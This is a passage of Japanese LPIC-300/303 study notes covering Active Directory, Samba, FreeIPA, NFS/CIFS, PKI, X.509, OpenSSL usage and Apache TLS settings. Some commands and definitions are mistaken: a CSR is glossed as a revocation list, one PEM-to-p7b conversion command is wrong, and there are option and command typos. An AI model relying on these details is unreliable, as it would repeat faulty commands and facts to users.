  4. チケットを受け取ったクライアントはチケットを提示してアクセス先コンピュータで認証を試みる
  5. アクセス先コンピュータはチケットがドメインコントローラで発行されたか確認し、正しければクライアントアクセスを許可する

上記認証方式はKeroberos認証と呼ばれる。

2.1.2. ActiveDirectoryの構成要素

ドメイン

ドメインはActiveDirectoryの基本単位Active Directoryデータベースを共有する範囲のこと。 言い換えるとACtiveDirectoryの管理が及ぶ範囲のこと。 ドメインを作成することで、組織のユーザー・グループ・コンピューターを集中して管理することが可能になる。

ActiveDirectoryデータベースにはユーザーオブジェクトをはじめとする、各オブジェクトの登録情報、共有フォルダやプリンタの情報、システムの構成情報などが保存される。

OU(組織単位)

OU(組織単位)は入れ物のことで、複数オブジェクトを簡単に管理することが可能なもののこと。 これはドメインで管理するリソースが増加した場合に、バラバラ管理となり負担がかかるのを防ぐためにある。

またOUはグループポリシー設定を割り当てたり、権限を委任することができる、最小単位となる。

ドメインツリー

ドメインツリーはドメインを複数に分け管理する機能*で、ユーザーオブジェクトやコンピューターオブジェクトの経営方針が異なる場合に使用できる。

ドメインツリーでは複数のドメインを作成するとき、親ドメインの下に子ドメインを作成することになるがこの際に必ず親ドメインからドメイン名の一部を継承する。 そして互いのドメインソースを利用できる関係性=「信頼関係」が結ばれることで、別のドメインで管理されていても、リソースを共有することが可能になる。

フォレスト

フォレストはドメインツリー同士に信頼関係を持たせた状態のこと。 同じ組織内でも、名前の階層を分けたい場合に用いる。また、フォレストはActive Directory構造におけるグループの最大単位となる。

フォレストは1つ以上のドメインツリーで構成されるため、実際には1つのドメインツリーでもフォレストとなり得る。

フォレスト構築の要件は以下の通り。

  • Active Directoryを拠点ごとに全く別々に管理を行う場合
  • Active Directoryを導入している企業同士が合併する場合
  • 組織内に異なる名前空間にしたいドメインツリーが複数存在する場合

2.1.3. FSMO(操作マスタ)

FSMO(操作マスタ)はドメインコントローラ(DC)の中で一番信頼する(優先する)ドメインコントローラのこと。 これはDCを複数構築している環境で、それぞれのDCから矛盾する設定を適応されてしまうと困ってしまうため、優先するDCを決めるということである。

FSMOの種類

FSMOには以下の種類がある。

操作マスタ役割構成
スキーママスタスキーマの原本(各オブジェクトに対するデータ型の定義情報)をもつドメインコントローラフォレストで1台のみ
ドメイン名前付けマスタドメインを追加したり削除したりする際に必要となるドメインコントローラフォレストで1台のみ
RIDマスタSIDを構成するために必要な「RID」情報を保持しているドメインコントローラドメイン全体で1台
PDCエミュレータアカウントのパスワードやロックアウト情報を管理しているドメインコントローラドメイン全体で1台
インフラストラクチャマスタドメイン内のユーザーやコンピューターと、グループアカウントのメンバー情報とのマッピング情報を保持ドメイン全体で1台

2.1.4. ドメインコントローラ(DC)のレプリケーション

ドメインコントローラはユーザ認証など重要な役割を果たすサーバであるため、もしドメインコントローラーにトラブルが発生して利用できなくなれば、システム全体に大きな影響を及ぼす。そこで一般的にはドメインコントローラーは2台以上のサーバーを用意し、何かあった場合に備え、どちらのサーバーも同じ役割を果たせるようにする

このとき、2台のドメインコントローラーは、同じ内容のデータベースを保持していなければならない。 そこでドメインコントローラはレプリケーションと呼ばれる、ドメインコントローラー同士が定期的にデータベースの内容を確認し、自動的にその内容を同一にするための同期処理を行っている。

2.1.5. ActiveDirectoryデータベースとSYSVOLフォルダ

ADには情報を管理するために、ActiveDirectoryデータベースとSYSVOLフォルダがある。

ActiveDirectoryデータベース

ドメインのユーザーやグループ、コンピューターアカウントなど、ドメインの管理に必要な各種オブジェクトの情報が管理されているデータベース。 DC間で自動レプリケーションする。

SYSVOLフォルダ

グループポリシーと呼ばれるドメインに参加している各コンピューター端末にシステム設定を配布する設定情報に関するデータが管理されているフォルダ。 DC間でレプリケーションしない。

rsyncrobocopyを用いてレプリケーションを行うように設定できる。

2.1.6. GlobalCatalog

GlobalCatalogはActiveDirectory内の全てのドメインの一部の属性を保持する特別なデータベースのこと。 GlobalCatalogによりクロスドメインの検索やクエリが高速化される。

ポートは3268/TCP3269/TCPが使用される。 なお通常、GlobalCatalogはActive Directoryの最初のドメインコントローラー(通常はフォレストのルートドメイン内のもの)に配置される。

Partial Attribute Se(PAS)

PASはグローバルカタログ内で保持される属性の部分集合のこと。 特定の属性のみをグローバルカタログに保持することにより、クライアントが迅速かつ効率的に検索やクエリを実行できる。

2.1.7. Samba-AD-DC

Samba-AD-DCとは

Samba-AD-DCはWindowsベースのActive Directory(AD)ドメインコントローラと互換性のある機能を提供することを目的とするOSSのソフトウェア。 Samba-AD-DCは、特に中小企業や教育機関などで、Windows環境とLinux/UNIX環境の統合を必要とする場合に役立つ。

Samba-AD-DCは、以下の主な機能を提供する。

  • ActiveDirectory互換性
    • Windowsクライアントや他のActive Directoryリソースと連携できる
    • LinuxやUNIXサーバーがWindowsベースのネットワークに統合され、シングルサインオン、ユーザー認証、アクセス制御などのActive Directory機能を利用できる
  • ドメインコントローラ機能
    • ドメイン内のユーザーアカウント、コンピュータアカウント、ポリシー、セキュリティグループなどの管理するドメインコントローラとして機能する
    • ユーザーとリソースの管理を中央集権化し、セキュリティと管理を向上させることができる
  • LDAPサーバ
    • LDAPサーバーを提供し、ディレクトリサービスの要件を満たす。ユーザー情報や認証情報などを保存および検索するために使用される。
  • DNSサーバ
    • Active Directoryに関連するDNSサービスも提供する。ドメイン内のリソースの名前解決が可能になり、正確なドメイン構造が維持される。

2.2. ActiveDirectoryの名前解決

2.2.1. ドメインコントローラの検索

ドメインコントローラを見つけ出すのにDNSが使用される。 このDNSはドメインコントローラ(DC)を作成した際にSRVレコードAレコードが生成されるので、これをDNSサーバに登録することで利用できる。

  • SRVレコード … ドメインコントローラーが提供するサービスが登録されているリソースレコード
  • Aレコード … ホスト名をIPv4に変換するためのリソースレコード

2.3. ActiveDirectoryのユーザ管理

2.4. Sambaドメインメンバーシップ

2.5. Sambaのローカルユーザ管理

14.3.3 - 3.Samba共有の設定

【LPIC300範囲】未記載

3.1. ファイルの共有設定

3.2. ファイル共有のセキュリティ

3.3. DFS共有構成

3.4. プリンタ共有の設定

14.3.4 - 4.Sambaクライアントの設定

【LPIC300範囲】未記載

4.1. Linux認証クライアント

4.2. Linux CIFSクライアント

4.3. Windowsクライアント

14.3.5 - 5.Linuxアイデンティティ管理/ファイル共有

【LPIC300旧範囲】FreeIPA(Linux認証基盤)に関する説明

5.1. FreeIPAのインストール/メンテナンス

5.1.1 FreeIPA

FreeIPAはLinuxの統合認証基盤のこと。 オープンソースで開発されており、KerberosやDNS, SELinuxなどを用いて統合された認証環境を提供する。 なお、IPAはIdentity, Policy, Auditの略である。

また、クライアントのコンポーネントとしてSSSDを使用している。

FreeIPAで管理できる対象(エンティティ)には以下の通り。

  • ユーザ/グループ
  • SMB共有
  • SSH認証鍵

FreeIPAのコンポーネント

FreeIPAは以下のコンポーネントで構成されてる。 またFreeIPAのコンポーネントには汎用のLinuxシステムが統合されている。

コンポーネント説明
389 Directory ServerLDAP
MIT Keroberos認証サービス
Dogtag Certificate SystemPKI(公開鍵基盤)
NTP時刻同期
DNSIPアドレス/ドメインの紐づけ
SSSD識別/認証サービス管理
Certmonger証明書期限の監視/更新

5.1.2. FreeIPAのインストール

FreeIPAは、インストール自体はスクリプト化されており容易にできる。 求められるスペックは以下の通り。

  • ユーザ数 10,000、グループ数 100 … 最低 2GB の RAM と 1GB のスワップスペース
  • ユーザ数 100,000、グループ数 50,000 … 最低 16GB の RAM と 4GB のスワップスペース

FreeIPAサーバ/ドメインのインストール

  • ipa-server-install … IPAサーバのインストール
  • ipa-client-install … IPAクライアントのインストール
  • ipa-replica-install … IPAサーバのレプリカインストール
  • ipa-replica-prepare … IPAサーバのレプリカ用イメージファイル作成
  • ipa-replica-manage … IPAレプリカサーバの設定確認など

5.1.3. ADのレプリケーションとKerberosのCrossRealm認証

Kerberosではrealmという管理対象ノード群の枠組みがある。 realmは複数作成することができるが、複数のrealm間で相互に信頼関係を構築する方法をCrossrealmと呼ぶ。

CrossRealm認証によりADとの信頼関係を構築することで、ADドメインに参加しているユーザがLinuxマシンへSSOができるようになったり、Linuxドメインのサービスやリソースへアクセスできるようになる(Windowsクライアントの管理はできません)。

IPAとADとのCrossRealm認証はipa-adtrust-installによるSamba(CIFS)の構築とipa trust-addコマンドによる信頼関係の構築を行う必要がある。

sudo、autofs、SSHおよびSELinuxの統合

FreeIPAのクライアントではSSSDがデフォルトで構成される。 SSSDによって、sudoの統合、ホストベースのアクセス制御(HBAC)のポリシー、SELinuxユーザマッピングなどができるようになる。 これらの設定は、FreeIPAの4.0以降のバージョンでは基本的にインストール時に設定される。

  • sudo … LDAPにファイルを登録することにより統一的に管理することができる
  • SSH … LDAPに公開鍵をインストールすることで、ホストローカルな設定ファイルをドメイン対応させることができる
  • SELinuxユーザマッピング … SELinuxでは、ホストベースのアクセス制御(HBAC)をドメインに提供する。リモートユーザや新しいホストの追加時に一貫した制御ポリシーを適用・管理できる

5.1.4. ipaコマンド

ipaコマンドはFreeIPAでユーザ・グループの管理やドメインの操作などを行うことができるコマンド。

ipa <コマンド> [パラメータ]
コマンド説明
user-addユーザの追加
user-delユーザの削除
group-addグループの追加
group-delグループの削除
user-findユーザの検索
group-add-memberグループへのユーザ追加
user-showユーザ情報表示
group-showグループ情報表示
trust-addドメインの信頼関係追加

5.2. FreeIPAのエンティティ管理

5.3. FreeIPAのActiveDirectoryインテグレーション

5.4. ネットワークファイルシステム(NFS)

5.4.1. NFSv4

NFS(Network File System)はLinuxでの一般的なファイル共有プロトコル。 NFSv4はNFSのVersion4.0。

NFSv4の主な特徴は以下の通り。

  • セキュアな認証メカニズム「Kerberos」「SPKM」「LIPKEY」の導入
  • 擬似(Pseudo)ファイルシステムの提供
  • ACLによるアクセス制御
  • パフォーマンスの改善(一部の権限をクライアント側へ委譲)

NFSv4の認証メカニズム

NFSv4では、セキュアな通信を確立するために以下の認証メカニズムが採用された。

認証メカニズム説明
KeroberosSSOを使用可能にする
SPKMシンプルな公開鍵基盤を提供する認証方式
LIPEKYSPKMを使用したクライアント-サーバ間で暗号化通信を行う

疑似(Pseudo)ファイルシステム

擬似(Pseudo)ファイルシステムは複数のファイルシステムをクライアント側で一つのツリーに見せかけることができる仕組み。 これはNFSv3の欠点を補った仕組みともいえる。

NFSv4サーバの設定

  • /etc/exports
    • NFSv4の共有ディレクトリの設定は/etc/exportsで行う
  • /etc/idmapd.conf
    • NFSv4のデーモンの挙動を設定する

5.4.2. CIFS

CIFSはSMBを拡張したファイル/プリンタ共有などのプロトコル。 CIFSはWindows系OS以外でも利用できるように仕様が公開されている。

CIFSには以下のような特徴は以下の通り。

  • Unicodeに対応
  • oplockと呼ばれる便宜的ロックにより、共有ファイルへのロック情報をクライアントでキャッシュすることで高いパフォーマンスを発揮

CIFSによるファイル/ディレクトリのパーミッション

Linux上でマウントしたWindowsマシンの共有は、デフォルトでrootユーザが所有者として設定され、一般ユーザでは書き込みができない。 WindowsのファイルシステムにはLinuxのような所有者やパーミッションの仕組みが無いため起こる 。 Windowsマシンの共有の所有者やパーミッションを設定するには、マウント時のオプションとしてUIDやGID、ファイルやディレクトリのパーミッションを指定する必要がある。

CIFSのセキュリティモード

  • NTLM(NT LAN Manager authentication) * Windows OSのネットワークにおける認証方式の一つ * 共有フォルダや共有プリンタなどに利用される
  • Keroberos * SSO認証を可能にする認証方式

CIFSのマウント/アンマウント

CIFSのマウントにはmount.cifsコマンド、もしくはmount -t cifsを使用する。 なおアンマウントはunmountコマンドで行う。

setcifsaclコマンド

CIFSのACLに関する操作を行うコマンド。

setcifsacl <オプション>

getcifsaclコマンド

CIFSのACLに関する操作を行うコマンド。

getcifsacl <オプション>

14.3.6 - 6.Linuxの暗号化

【LPIC303範囲】SSL/TLS、Linuxファイルシステム、DNSの暗号化のための解説

6.1. 暗号化の基礎

6.1.1. 暗号化とは

暗号化は暗号文を使用して通信と情報を保護する手法のこと。

コンピュータサイエンスにおいて、暗号化は、解読が困難な方法でメッセージを変換するための、数学的概念とアルゴリズムと呼ばれる一連のルールベースの計算から派生した安全な情報および通信技術を指す。 これらの決定論的アルゴリズムは、暗号キーの生成、デジタル署名、データ プライバシーを保護するための検証、インターネット上の Web ブラウジング、クレジット カード取引や電子メールなどの機密通信に使用される。

暗号化の用途

  • 暗号化 … 情報をその本当の意味を隠す秘密コードに変換する方法。情報の暗号化と復号化の仕組みは暗号化と呼ばれる
  • 完全性 …. 情報は、変更が検出されない限り、保存中または送信者と目的の受信者の間での転送中に変更されることはないことを保証する
  • 認証 … 送信者と受信者は、互いの身元と情報の発信元/宛先を確認できる

暗号化の主要な要素

暗号化には2つの主要な要素がある。

  • キー … データの暗号化に使用されるもの。秘密にしておく必要がある
  • アルゴリズム … メッセージのエンコードとデコードに使用されるメソッドのこと。

共通鍵暗号方式(対称暗号方式)

共通鍵暗号方式は暗号化と復号を同じ鍵で行うもの

AESDESblowfishなどが代表例としてある。

このタイプの暗号化は、平文を暗号文に暗号化し、その暗号文を平文に復号化するために同じ鍵が使われるため対称と言える。 一般的に、非対称暗号化よりも高速となる。

公開鍵暗号方式(非対称暗号方式)

公開鍵暗号は暗号化/復号化に公開鍵ペアを使用する暗号。 対になる鍵の一方が公開鍵で、もう一方が秘密鍵となる。

説明
公開鍵一般にアクセス可能なリポジトリで公開され、公開鍵ペアの所有者と通信する必要がある人は誰でもアクセス可能
秘密鍵秘密鍵は所有者のみが所有する

これらの鍵はそれぞれ平文を暗号化された暗号文に変換することができるが、 一方の鍵で暗号化された暗号文はもう一方の鍵でしか復号できない

特徴は以下の通り。

  • 公開鍵で暗号化された暗号文は秘密鍵でしか復号化できない
  • 秘密鍵で暗号化された暗号文は公開鍵を使ってのみ復号できる
  • 共有秘密鍵を交換することなくメッセージを送信できる

またRSA暗号方式による秘密鍵の生成に関しては「512bitや1024bit程度の長さは容易に計算できる」とされているため、2048bit以上の長さを用いることが推奨されている。

ハッシュによるデータの整合性

ハッシュ関数を用いた暗号化では特定のデータを一定長の固定サイズの値に変換する暗号化を行う。この変換された値はハッシュ値と呼ばれる。

ハッシュの特徴は以下の通り。

  • ハッシュ関数は固定長の出力を生成する
  • ハッシュ値から元のデータを再構築するのは困難(一方向性)
  • セキュリティを向上させるためにソルトを使用してハッシュ化する方法がある
  • ハッシュアルゴリズムにはCRC2(非推奨)md5、**sha-1*などがある

6.1.2. 公開鍵基盤(PKI)とトラストチェーン

公開鍵基盤(PKI)

PKI(公開鍵基盤)は異なるコンピュータシステム間の通信を保護するために使用されるシステムのこと。 暗号化に用いられる「公開鍵」と「公開鍵の持ち主」の関係を保証する仕組みともいえる。

PKIは暗号化キーのペアとデジタル証明書に基づき、公開鍵基盤は認証局の階層と証明書署名要求プロセスで構成される。

認証局(CA)

認証局(CA)はWeb サイト、電子メール アドレス、企業、個人などの身元を検証するために機能する組織のこと。 公開キーの信頼性を検証する第三者といえる。

デジタル証明書として知られる電子文書の発行を通じて、それらを暗号キーにバインドする。 公開キーの信頼性を検証する信頼できる第三者機関と言える。

認証局には以下の役割がある。

  • 有効なCSRに署名する
  • 秘密鍵のセキュリティを維持する
  • 侵害された証明書または悪用された証明書を取り消す

証明書署名要求(CSR)

証明書署名要求(CSR) は基本的に生成される公開キーであり、CA に送信して署名を受けることができるもの。

CAがCSRに署名すると、署名したCAによって信頼される証明書が生成される。

OCSP/CRL

OCSP (オンライン証明書ステータス プロトコル) または CRL (証明書失効リスト) を使用して証明書を無効にするための仕組み

CAによって使用される。

トラストチェーン

トラストチェーンはX.509が想定する認証局のシステムも、認証局が下位の証明局を認証し、その下位の認証局がさらにその下に位置する認証局を認証する…といった証明の連鎖で成り立つことを想定し「信頼できるものが署名したものは信頼の連鎖に加えられる」という前提に成り立っている様子のこと。

6.1.3. 公開鍵証明書(ディジタル証明書)と認証局

公開鍵暗号方式においては公開鍵証明書によって公開された鍵が意図している所有者のものであることが保証されている必要がある。

公開鍵証明書は、信頼できる第三者として認証局(CA:Certification Authority)によりデジタル署名(後述)されて発行され、その証明書に含まれる公開鍵の真正性と有効性(公開鍵の所有者が正当な所有者であること、証明書が有効期限内であること等)を保証する仕組みです。ちょうど、公的身分証明書が、信頼できる公的機関の発行証明によって信頼性を担保するのと似ている。

公開鍵証明書には、公開鍵そのものに加えて発行者の情報や有効期間などの情報が含まれる。

ディジタル署名

デジタル署名はデータが通信の途中で改ざんされていないこと、またメッセージが作成者本人のものであることを証明するための技術

デジタル署名は送信するメッセージからハッシュ関数を用いてメッセージダイジェスト(MD)を求め、MDから秘密鍵を用いて署名を生成し送信する。 受信者は、公開鍵を用いて署名を検証(MDを復号)する。

またメッセージからMDを求め、復号したものと照合し、一致していることを確認するという仕組みといえる。

認証局(CA)

認証局(CA)はWeb サイト、電子メール アドレス、企業、個人などの身元を検証するために機能する組織のこと。

デジタル証明書として知られる電子文書の発行を通じて、それらを暗号キーにバインドする。 公開キーの信頼性を検証する信頼できる第三者機関と言える。

認証局には以下の役割がある。

  • 公開鍵証明書の発行 * 認証局は電子証明書の発行依頼を受けて、申請内容と証明書署名要求(CSR※)と呼ばれる情報を精査した上で公開鍵証明書を発行する
  • 公開鍵証明書の失効、CRLの発行 * 認証局は申請を受けて証明書の失効手続きを行い、証明書が失効されていることを以下の二つの手段で公開する * 証明書失効リスト(CRL:Certificate Revocation List)の発行 * OCSP(Online Certificate Status Protocol)への応答

また認証局にはパブリック認証局とプライベート認証局(オレオレ認証局,自己証明認証局)がある。 パブリック認証局の発行したルート証明書(認証局が自らの正当性を証明するために発行するデジタル証明書)は、いわゆる公的機関の証明書の扱いであり一般的なメーラやブラウザに組み込まれている。対してプライベート認証局は社内などの制限された場だけで利用することを想定されたもの。運用規定を自由に設定できるという柔軟性がある。

6.1.4. サーバ証明書とクライアント証明書

サーバ証明書

サーバ証明書はでクライアントがアクセスしているサーバが確かに目的の相手に間違いないことを確認するために使用されるもので、サーバの公開鍵を含んだ証明書に認証局が署名をして発行されているのが一般的となる。企業内などでは、プライベート認証局を使って自己署名が行われる場合もある。

Webサイトなどにアクセスする際に提示される。

クライアント証明書

クライアント証明書は企業内LANや外部から自社内にアクセスする場合、クライアント側が正当な権利を持っているか確認する必要がある場合に用いられるもの。

6.2. X.509証明書と公開鍵暗号基盤

6.2.1. OpenSSL

SSLの実装としてのツールにOpenSSLがある。 SSLはWebサーバとWebブラウザ間でよく使用される暗号化通信を行うための設定で、使用にはサーバ証明書が必要になる。

サーバ証明書にはサーバについての情報と、サーバの公開鍵、証明書を発行した認証局の情報とその署名が含まれる。 署名は、証明書を発行する認証局(CA)が「認証局の秘密鍵」で行う。SSLサーバはこの証明書をクライアントに渡し、クライアントであるブラウザは予め内蔵している認証局の公開鍵を使って、受け取った証明書の署名を復号する。復号できれば証明書が改ざんされていない(接続先サーバが正しい)ことが確認できる。

なお、サーバ証明書の署名はルートCAもしくは中間CAによって署名されますが、現在ではセキュリティレベルの向上などの理由で、ルートCAが直接署名するのではなく、中間CAを1つ以上用いる階層構造を取る認証が主流となっている。

opensslの設定ファイル

openSSLの設定ファイルは以下の通り。

  • Debian系 … /usr/lib/ssl/openssl.cnf
  • RedHat系 … /etc/pki/tls/openssl.cnf

opensslコマンド

OpenSSLの操作を行うコマンド。

openssl <サブコマンド> [オプション]
サブコマンド説明
caCAの管理
dgstメッセージダイジェストの計算
genrsaRSA暗号方式の秘密鍵を生成
rsaRSA暗号方式の鍵管理
reqCSRの管理
x509X.509証明書の管理
s_clientSSL/TLSプロトコルを使用し指定しサーバ接続
s_serverSSL/TLSプロトコルを使用しデータを受け取るサーバとして動作
ciphers使用可能な暗号スイートを一覧表示
verifyX.509証明書の検証

OpenSSLのコマンド例

# 設定ファイルの確認
openssl ca

# 秘密鍵の作成
openssl genrsa -des3 2048 > /etc/pki/CA/private/cakey.pem

# 秘密鍵の作成
openssl genrsa -<algorithm> -out <key_filename> <key_size>
openssl genrsa -aes128 -out mykey.key 2048

# 公開鍵の作成
openssl req -utf8 -new -key <key_filename> -x509 -days <cert-lifespan> -out <cert_filename> -set_serial 0

# CSRにCAとして署名する
openssl ca -in <CSR> -out <crt>

# CSRの作成
openssl req -new -key <priv_key.pem> -out <output.csr>

# 証明書情報の確認
openssl x509 -in <cert_filename.crt> -text -nout | less

OpenSSLによる証明書の作成と操作

opensslコマンドにより秘密鍵/証明書などを作成できる。 使用例は以下の通り。

# 秘密鍵の生成
openssl genrsa -<algorithm> -out <key_filename> <key_size>
openssl genrsa -aes128 -out mykey.pem 2048

# 自己証明書(オレオレ認証)の生成
openssl req -utf8 -new -key <key_filename> -x509 -days <cert_lifespan> -out <cert_filename>

#認証の表示
openssl x509 -in mycert.crt -text -noout

#CSR(証明書失効リスト)の作成
openssl req -new -key <priv_key.pem> -out <output.csr>

OpenSSLによるX.509証明書形式の変換

#DERをPEMに変換する
openssl x509 -inform der -in certificate.cer -out certificate.pem

#PEMをDERに変換する
openssl x509 -outform der -in certificate.pem -out certificate.der
#p7b/pkcs#7をPEMに変換する
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.pem.

#PEMをp7b/pkcs#7に変換する
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

OpenSSLによるトラブルシューティング

## セキュアなコネクションの確立
openssl s_client -connect <host>:<port> 

## トラストチェーンの検証 
openssl verify -verbose <certificate> 

## CAチェーンのすべての証明書を確認する
openssl s_client -connect <host>:<port> -showcerts

## 証明書の詳細を見る
openssl x509 —text <cert_file> 

6.2.2. Genkey

genkeyはOpensslの互換ツールでRedHat系OSで使用できるもの。 コマンドはOpenSSLより単純で、TUIが使用できる。

6.2.3. X.509証明書

X.509とはITU-T(国際通信連合(ITU)の電気通信標準化部門)の規格であり、公開鍵暗号方式に基づいて認証局によって発行される公開鍵証明書の標準形式などを定めてたもの

X.509証明書にはいくつかのエンコードタイプがあるが、代表的なものにPEMDERがある。

  • PEM
    • DERをBase64でテキスト化したもの
    • サーバー証明書、中間証明書、および秘密キーを1つのファイル内に含めることができる
    • テキスト エディタで開くことができる
    • OpenSSLデフォルトのファイル形式
  • DER
    • JavaベースのWebサーバーに使用される
    • Binary形式
  • PKCS#7
    • 証明書のみを保存する
    • 秘密キーは保存できない
  • PKCS#12
    • Windowsプラットフォームで使用される
    • サーバー証明書、中間証明書、および秘密キーをパスワードで保護された単一の.pfxファイル内に保存できる

また、それぞれの特徴を表にまとめると以下の通り。

フォーマットエンコードファイルフォーマット
PEMBase64 ASCII.crt、.pem、.cer、.key
DERBinary.der または .cer
PKCS#7Base64 ASCII
PKCS#12Binary.pfx、 .p12

X.509証明書のフィールド

フィールド1フィールド2説明
tbsCertificate証明書の基本情報と公開鍵の情報
versionX.509証明書のバージョン X509v3では3(0x2)
serialNumber証明書の識別番号
signatureCAが証明書に署名する際のアルゴリズム
issuerCAの名前
validity証明書の有効期間
subject証明書の所有者の名前
subjectPublicKeyInfo証明書所有者の公開鍵に関する情報
extentions拡張領域。X.503v3にて追加
signatureAlogorithm証明書の署名アルゴリズム
signatureValueデジタル署名

X.509証明書の拡張フィールド

拡張フィールド説明
basicConstraints基本制約。証明書がCAnのものである、証明書のパスの深さなどを指定
authorityKeyIdentifier認証局鍵識別子
subjectKeyIdentifierサブジェクト識別子
KeyUsaga鍵の用途
extendedKeyUsage拡張鍵用途
certificatePolicies証明書の目的や発行時情報
subjectAltNameサブジェクトの代替名
cRLDistributionPointsCRLの配布ポイント
authorityInfoAccess機関情報アクセス

6.3. 暗号化/署名および認証のX.509証明書

6.3.1. SSL/TLS

SSL(Secure Sockets Layer)/TLS(Transport Layer Security)はトランスポート層の暗号化プロトコルでWebトランザクションを保護するために開発されたが、トランスポート層でTCPを利用するあらゆる種類のネットワークトラフィックの保護にも使用できる

TLSとしてIETFによってRFC化され、SSL3.0からTLSが派生した。SSL3.1がTLS1.0に該当します。一般的名称として、SSLという言葉が広く普及しているため、SSL/TLSと呼ばれている。

現在、SSLは脆弱性が発見されているため使用は非推奨となっており、TLSの使用が推奨されている。暗号強度等ではTLS1.2、もしくは2018年3月にIETFに承認されたTLS1.3が良い。

項目SSLTLS
正式名称Secure Sockets LayerTransport Layer Security
プロトコルWeb トラフィックを保護するために使用されていたプロトコルTLS プロトコルは、SSLv3 に代わる TLS 1.0 から始まる SSL の後継プロトコル
状況最新バージョンは SSLV3 だが、これは非推奨現在の標準は TLS 1.2 。ただし、TLS 1.3 はインターネット標準として目的とされている

TLS/SSLのハンドシェイクプロセス

TLS は、データを安全に送信する際のパフォーマンスとセキュリティの間で適切な妥協点を提供するため、公開鍵暗号方式と共通鍵暗号方式を組み合わせて使用​​する。 手順は以下の通り。

  1. 各TLS証明書は、公開キーと秘密キーで構成されるキーペアで構成される。これらのキーは、Web サイトのトランザクション中に相互作用する。
  2. Web サイトにアクセスするたびに、クライアント サーバーと Web ブラウザが通信して、安全な TLS/SSL 暗号化接続が確立されていることを確認する。
  3. Web ブラウザ (またはクライアント) がセキュリティで保護された Web サイトにアクセスすると、Web サイト サーバーは TLS/SSL 証明書とその公開キーをクライアントと共有して、安全な接続と一意のセッション キーを確立する。
  4. ブラウザは、SSL 証明書の発行者または認証局を認識し、信頼していることを確認します。また、ブラウザは、TLS/SSL 証明書の有効期限が切れていないこと、取り消されていないこと、および信頼できることを確認します。
  5. ブラウザは対称セッションキーを送り返し、サーバーは秘密キーを使用して対称セッションキーを復号化する。次に、サーバーはセッションキーで暗号化された確認応答を送り返し、暗号化されたセッションを開始する。
  6. サーバーとブラウザは、送信されるすべてのデータをセッションキーで暗号化するようになる。これらは、メッセージのプライバシー、メッセージの整合性、およびサーバーのセキュリティを保護する安全なセッションを開始することを意味する。

トランスポート層のセキュリティ

SSL と TLS はどちらも以下のセキュリティ要件を満たす。

  • 交換されるデータを安全に暗号化する
  • 少なくとも1人の当事者を認証する
  • データの整合性を確保する
  • リプレイ攻撃を防ぐ

トランスポート層のセキュリティは、PKI と一般的な暗号化の使用を通じてこれを実現する。

SSLに対する中間者攻撃

  • POODLE攻撃の脆弱性 * POODLE攻撃(CVE-2014-3566) はSSLセッション内の選択されたコンテンツを復号化できる中間者(MITM) エクスプロイトのこと。
  • BEAST攻撃の脆弱性 * BEAST攻撃(CVE-2011-3389)はSSL/TLS 暗号ブロック チェーン (CBC) の弱点を悪用し、中間者攻撃者が Cookie データなどの特定のセッション情報を何からでも回復できるようにする。

ApacheのHTTPSの設定(SSL/TLSを使ったHTTP)

HTTPSと呼ばれるプロトコルはWebのプロトコルであるHTTPをSSL/TLSでセキュアなプロトコルとして通信させるもの。 代表的なWebサーバ(httpd)であるApacheもSSL/TLSに対応しており、パッチまたはモジュール(mod_ssl)での対応が可能となっている。

Apacheの基本的な動作設定は/etc/httpd/conf/httpd.confにて行う。 SSLの設定も同ファイルに記述できるが、デフォルトでは/etc/httpd/conf.d/ssl.confが用意されており、ここに記述するのが一般的となる。

サーバ認証関連のディレクティブ説明
SSLEngine on/offSSL/TLSプロトコルを使用するかどうかの設定
SSLProtocol SSLv3/TLSv1/TLSv1.2SSL/TLSのバージョン指定
SSLCipherSuite !AAA/-AAA/+AAA使用する暗号化スイートの指定
SSLCertificateFileサーバ証明書の指定
SSLCertificateKeyFileサーバの秘密鍵を指定
SSLCertificateChainFile中間認証局(CA)の証明書を指定
クライアント認証関連のディレクティブ説明
SSLCACertificateFileクライアント証明書を発行したCAの証明書を指定
SSLVerifyClientクライアントの認証レベルの指定
SSLVerifyDepth有効なクライアント証明書を確認する深さを指定
OCSP stapling関連のディレクティブ説明
SSLUseStapling on/offOCSP staplingの有効/無効
SSLStaplingResponderTimeiutOCSP staplingの応答タイムアウト
SSLStaplingReturnResponseErrors on/offOCSP staplingのエラーをクライアントに送信するかどうか
SSLStaplingCacheOCSP staplingのキャッシュに使用するストレージタイプ
SNI関連のディレクティブ説明
SSLStrictSNIVhostCheck on/off非SNIクライアントの挙動設定

SNI

SNI(Server Name Indication)は1つのWebサーバで複数のドメインのSSL/TLS証明書を利用できる仕組み。 名前ベースのVirtualHostであってもSSLに対応できるようにしたSSL/TLSの拡張仕様ともいえる。

SNIでは、コネクション確立時にクライアントからサーバへアクセスしたいホスト名を渡すことにより、適切なサーバ証明書を返すことができる仕様とした。 これにより、コネクション前にホスト名を確認することが可能となり、名前ベースの仮想ホストを使用可能となった。

HSTS

HSTS(HTTP Strict Transport Security)はWebセキュリティの仕組みの一つでウェブサイトがHTTPSを使用することを強制するための仕組みのこと。 HSTSはウェブブラウザに対して、特定の期間内でHTTPSを使用するように指示する。

HSTSの主な目的はMITM攻撃を防ぐことにある。 通常、攻撃者はHTTP通信を盗聴し、変更することができるが、HTTPSを使用すると通信が暗号化され、改ざんや盗聴が難しくなる。 HSTSは、ウェブサイトがHTTPSを使用するように強制し、ユーザーが暗号化された通信を確実に得ることを支援する。 クライアントが一度HTTPSでアクセスしたサイトがHSTSを強制するようクライアントに指示した場合、以後一定の有効期間内はクライアント側からはHTTPSで通信を行うようになる。

また、初回のHTTPSアクセスまでの脅威に対応するため、予め「このドメインはHSTSに対応している」という情報をブラウザ側に知らせておく「プリロードHSTS(Preload HSTS)」という仕組みも提唱されてきている。

Apacheのクライアントアクセス制御

SSL/TLSを利用したApacheでは、クライアントの証明書を使ってアクセス制御を行うことができる。 「ssl.conf」では設定項目SSLVerifyClientにより、クライアントに対して証明書を提示させるよう指定することができる。

OCSP Stapling

OCSPはクライアントがOCSPサーバ(OCSPレスポンダ)へ問い合わせを行い、証明書の失効確認を行うためのプロトコル

